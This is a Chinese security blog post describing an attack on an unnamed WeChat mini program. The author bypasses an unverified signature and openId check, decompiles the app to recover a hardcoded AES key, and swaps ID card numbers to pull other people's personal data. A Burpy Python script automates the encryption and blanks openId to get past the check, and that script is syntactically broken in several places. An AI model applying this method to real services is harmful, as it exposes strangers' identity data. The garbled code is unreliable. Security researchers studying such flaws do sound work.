Burpy插件实战-某微信小程序加密算法破解

admin 2025年1月6日08:40:52评论10 views字数 2808阅读9分21秒阅读模式

Author:0pening 

1、前言

对某微信小程序进行测试,不说多的,马上开动BurpSuite抓包。然而抓到包就发现不对劲🤨了。

Burpy插件实战-某微信小程序加密算法破解

这货将传递的参数加密为bizContent,还有签名参数sign用来防止中间人篡改数据包…..不讲武德。

2、分析数据包

先硬着头皮分析一下吧,看看签名参数sign是不是校验了。通过删减参数进行判断,这原来是个纸老虎。参数删简如下,数据包可以正常发送。

Burpy插件实战-某微信小程序加密算法破解

原来sign只是个纸老虎,后端就没有校验。那是否通过openId来进行用户身份的校验的🤔️?

通过修改openId参数,发现存在逻辑问题。

错误的openId,校验失败。

Burpy插件实战-某微信小程序加密算法破解

openId为空,成功返回数据。

Burpy插件实战-某微信小程序加密算法破解

删除openId参数,成功返回数据。

Burpy插件实战-某微信小程序加密算法破解

由于这是个请求个人信息的接口,删除或使openId为空,都拿到了个人信息。那么bizContent参数中存在某个参数决定了用户身份标识,如果这个标识可预测,极有可能通过修改这个标识越权获取到他人身份信息。

3、签名算法破解

通过上面一通分析,接下来就要想办法获取到bizContent参数的明文数据。

通过查看BurpSuite的数据包history记录

Burpy插件实战-某微信小程序加密算法破解

查找上下文都没有找到相关JS请求,那么加密算法的源码应该在微信小程序源码里了。

  • • 微信小程序源文件在开发者发布后存储在微信的服务器上,当用户首次加载小程序时会下载小程序到用户本地(*****.wxapkg格式的二进制文件)。

提取.wxapkg文件:(安卓会放到如下目录)

/data/data/com.tencent.mm/MicroMsg/{数字串}/appbrand/pkg/

Burpy插件实战-某微信小程序加密算法破解

反编译.wxapkg文件获取小程序源码(https://github.com/Cherrison/CrackMinApp

使用这款工具主要是不需要额外安装node.js环境,可以直接干。

Burpy插件实战-某微信小程序加密算法破解

Burpy插件实战-某微信小程序加密算法破解

通过全局搜索关键字bizContent,发现在定位app-service.js中。将app-service.js进行JS美化下便与阅读。找到了加解密算法。

Burpy插件实战-某微信小程序加密算法破解

测试下AES解密,解密成功,传递的两个参数,一个idcard身份证,一个desc请求接口。

Burpy插件实战-某微信小程序加密算法破解

之后通过替换idcard身份证参数为他人身份证,调用接口查询,返回了他人信息,实锤越权了。

4、Burpy插件使用

搞定加密算法后就可以测试了,但产生个问题,我难道要每次把bizContent参数和返回数据每次复制粘贴出来解密来测吗?又没有什么更优雅的测试方式呢?

把视角瞄向了m0nst3r的https://github.com/mr-m0nst3r/Burpy 。已支持python3

使用教程博客里有:

https://m0nst3r.me/burpsuite/打通BurpSuite与Python之间的任督二脉.html

加载插件后配置如下:(插件需要安装Pyro4 -> pip3 install Pyro4)

Burpy插件实战-某微信小程序加密算法破解

收集到AES相关加密配置如下:

783a2274472d5928 
iv = 0102030405060708 
Mode = ECB 
padding = Pkcs7

编写AES加解密脚本。只要按照项目要求实现encrypt、decrypt两个函数。

import json 
import base64 
from Crypto.Cipher import AES 




class Burpy
    def __init__(self): 
        self.key = "783a2274472d5928" 
        self.iv = "0102030405060708" 
        self.apicode = "" 

    def encrypt(self, header, body): 
        # 获取加密参数bizContent 
        body_json = json.loads(body) 
        bizContent = json.dumps(body_json["bizContent"]).replace(' '''

        #AES加密 
        while len(bizContent) % 16 != 0:  # 补足字符串长度为16的倍数 
            bizContent += (16 - len(bizContent) % 16) * chr(16 - len(bizContent) % 16
        bizContent = str.encode(bizContent) 
        aes = AES.new(self.key, AES.MODE_ECB)  # 初始化加密器 
        bizContent  = str(base64.encodebytes(aes.encrypt(bizContent)), encoding='utf8').replace('n'''

        #替换参数,openId置空绕过 
        body_json["bizContent"] = bizContent 
        body_json["openId"] = '' 

        body = json.dumps(body_json) 
        return header, body 

    def decrypt(self, header, body): 
        cipher = AES.new(self.key, AES.MODE_ECB, self.iv) 
        # 获取加密参数bizContent 
        body_json = json.loads(body) 
        bizContent = body_json.get("bizContent"

        #AES解密 
        content = cipher.decrypt(base64.decodebytes(bytes(bizContent, encoding='utf8'))).decode("utf8"
        content = content[:-ord(content[-1])] 
        body_json["bizContent"] = json.loads(content) 

        body = json.dumps(body_json) 
        return header, body

加载插件后配置如下,勾选自动加解密。

Burpy插件实战-某微信小程序加密算法破解

测试如下,完美获取数据,测试优雅多了!

Burpy插件实战-某微信小程序加密算法破解

在Repeater中修改数据包直接明文发送,返回包自动解密。

Burpy插件实战-某微信小程序加密算法破解

Burpy插件实战-某微信小程序加密算法破解

原文始发于微信公众号(Gcow安全团队):Burpy插件实战-某微信小程序加密算法破解

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月6日08:40:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Burpy插件实战-某微信小程序加密算法破解https://cn-sec.com/archives/3592288.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息